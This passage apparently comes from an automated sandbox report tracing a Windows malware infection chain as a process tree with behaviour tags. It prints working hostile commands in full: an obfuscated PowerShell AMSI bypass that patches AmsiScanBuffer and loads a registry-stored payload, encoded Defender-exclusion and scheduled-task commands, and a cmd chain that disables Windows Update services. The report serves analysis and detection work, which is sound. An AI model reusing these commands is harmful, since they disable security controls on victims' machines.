@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$odpgHREqFwl=$dciNrpFbwzZdN.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$DdnhmXoaghDPnf=$HCtdyyurzomTzd.Invoke($Null,@([Object]$odpgHREqFwl,[Object]('Load'+'LibraryA')));$nZTrLmrLqpDbmorFo=$HCtdyyurzomTzd.Invoke($Null,@([Object]$odpgHREqFwl,[Object]('Vir'+'tual'+'Pro'+'tect')));$ZvGDujP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DdnhmXoaghDPnf,$tnkaVNxJplFkoAzlQHI).Invoke('a'+'m'+'si.dll');$leLUnxQdqUgtJzJpr=$HCtdyyurzomTzd.Invoke($Null,@([Object]$ZvGDujP,[Object]('Ams'+'iSc'+'an'+'Buffer')));$vpUqMOiYQz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nZTrLmrLqpDbmorFo,$zMdubgPPRMTSNTmMVWiZcL).Invoke($leLUnxQdqUgtJzJpr,[uint32]8,4,[ref]$vpUqMOiYQz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$leLUnxQdqUgtJzJpr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nZTrLmrLqpDbmorFo,$zMdubgPPRMTSNTmMVWiZcL).Invoke($leLUnxQdqUgtJzJpr,[uint32]8,0x20,[ref]$vpUqMOiYQz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:vDpgmEzDEtTw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wmARYbGwWsZQjT,[Parameter(Position=1)][Type]$XfswCpNHAN)$bTILTuFSqna=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$bTILTuFSqna.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$wmARYbGwWsZQjT).SetImplementationFlags('Runtime,Managed');$bTILTuFSqna.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$XfswCpNHAN,$wmARYbGwWsZQjT).SetImplementationFlags('Runtime,Managed');Write-Output $bTILTuFSqna.CreateType();}$WcdHIUcfDnAPq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$xhVWWrMGiTHHik=$WcdHIUcfDnAPq.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wCCKMTdVkhtCTklXQnG=vDpgmEzDEtTw @([String])([IntPtr]);$OibmRLRIIuMBUtPBKBubRR=vDpgmEzDEtTw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GpoodnTnwGo=$WcdHIUcfDnAPq.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$HQsyJRtbSspJWq=$xhVWWrMGiTHHik.Invoke($Null,@([Object]$GpoodnTnwGo,[Object]('Load'+'LibraryA')));$ucnilmBpuqouSeTMa=$xhVWWrMGiTHHik.Invoke($Null,@([Object]$GpoodnTnwGo,[Object]('Vir'+'tual'+'Pro'+'tect')));$pNukLxA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HQsyJRtbSspJWq,$wCCKMTdVkhtCTklXQnG).Invoke('a'+'m'+'si.dll');$VteIfZhkdlPLkJTMi=$xhVWWrMGiTHHik.Invoke($Null,@([Object]$pNukLxA,[Object]('Ams'+'iSc'+'an'+'Buffer')));$vWuODbAedU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ucnilmBpuqouSeTMa,$OibmRLRIIuMBUtPBKBubRR).Invoke($VteIfZhkdlPLkJTMi,[uint32]8,4,[ref]$vWuODbAedU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$VteIfZhkdlPLkJTMi,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ucnilmBpuqouSeTMa,$OibmRLRIIuMBUtPBKBubRR).Invoke($VteIfZhkdlPLkJTMi,[uint32]8,0x20,[ref]$vWuODbAedU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAGcAbgBlACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABDAGgAcgBvAG0AZQBcAGMAaAByAG8AbQBlAC4AZQB4AGUAJwAgACAAPAAjAGkAZgBpAGwAIwA+AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6424
- - C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe
    "C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:6644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      PID:6832
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6848
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:7784
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:7800
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:7872
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:8016
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:8076
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:8128
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:7532
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:8352
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:8536
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:8588
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:8640
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:8732
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8780
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8832
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:8972
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:9020
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:9072
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:9128
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:9176
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:9236
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:9296
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:9344
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:9404
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:9452
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:9500
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe "neggzsnpwlbcv"
      4⤵
      PID:8176
  - - C:\Windows\System32\dialer.exe
      C:\Windows\System32\dialer.exe bqsjcndwpdyybow0 zu8xig1NsQoKkEp6jsGp1FzkODn3PlcQanKaEb8L3RvS4/YK50v90gh1zDwJ6UFU3XCw5zv4isRUCE4SADhgTik3F72IUoFfYkkAIz3IIqFgUZ9+QlcR5ED+yg5X6GAooYGc40RRy6hPTFIKIwUTmDxeWUNN2v1IMLrT0vupSO0/ha9be1gFU+d+1RW8awhDFyTeJUybfylcppeetmS/N4XblG/bGcLR6kNavn2Ajd1sa4owldJ2KHdndV2X69yl2RCMaS0sSGOegVGvgZSAN//X+gMxz6Jt44MKPEpKf3Ejr2OSU2CKks/9v2C8LOpA6QVadTx9Ew/y5gkbpoYROZcVrKkD7EqApIvJ+d3PgdptxmNsFsBjIOE+hBdBXTUN3yI7s1AYoswH68RwmPjDMpJ7XG+6HlODbBh5adL+UNctjs6LV0g+4QtgpYi/Y8vcs2UzAvpAAiTVg+dIrUc0ww==
      4⤵
      PID:8236
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 8236 -s 164
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:8496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1672
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2176

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2708

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3124
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Users\Admin\AppData\Roaming\Java.exe
    C:\Users\Admin\AppData\Roaming\Java.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Java Update\Java Update.exe"
      4⤵
      Executes dropped EXE
      PID:7896
- - C:\Users\Admin\AppData\Roaming\yt.exe
    C:\Users\Admin\AppData\Roaming\yt.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5424
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:37196
- - C:\Users\Admin\AppData\Roaming\33334.exe
    C:\Users\Admin\AppData\Roaming\33334.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgBhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBmAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBmAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBxAG8AcAAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6532
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Suspicious use of WriteProcessMemory
      PID:37864
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3340
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3656
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5780
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:4164
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:836
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:5888
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:2200
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies security service
        Modifies registry key
        
        PID:5200
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:3220
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:6064
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:3516
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4920
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3080
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1616
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4388
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3064
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:4236
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:916
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4484
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:1496
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4612
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:2388
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5568
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost.exe
      4⤵
      Drops file in Windows directory
      PID:1232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAbgB3AGcAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBjAEEAYgBnAEIAbABBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBWAFEAQgB6AEEARwBVAEEAYwBnAEIAegBBAEYAdwBBAFEAUQBCAGsAQQBHADAAQQBhAFEAQgB1AEEARgB3AEEAUQBRAEIAdwBBAEgAQQBBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARgBJAEEAYgB3AEIAaABBAEcAMABBAGEAUQBCAHUAQQBHAGMAQQBYAEEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBCAGMAQQBHAE0AQQBhAEEAQgB5AEEARwA4AEEAYgBRAEIAbABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBBAEEAUABBAEEAagBBAEcAawBBAFoAZwBCAHAAQQBHAHcAQQBJAHcAQQArAEEAQQA9AD0AIgAnACkAIAA8ACMAYgBrAHUAcAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAdwBnACMAPgAgAC0AUwBlA